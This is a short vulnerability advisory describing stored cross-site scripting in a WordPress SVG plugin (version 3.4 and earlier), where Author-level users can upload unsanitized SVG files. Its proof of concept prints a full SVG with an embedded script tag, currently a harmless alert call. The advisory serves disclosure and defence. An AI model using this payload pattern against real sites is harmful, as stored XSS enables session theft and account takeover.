WordPress Plugin Vulnerabilities
Scalable Vector Graphics (SVG) <= 3.4 - Author+ Stored XSS via SVG
Description
The plugin does not sanitize uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG containing XSS payloads.
Proof of Concept
Upload an SVG with the following code: <svg xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript">alert("xss");</script> </svg> Access the uploaded file directly to see the XSS.
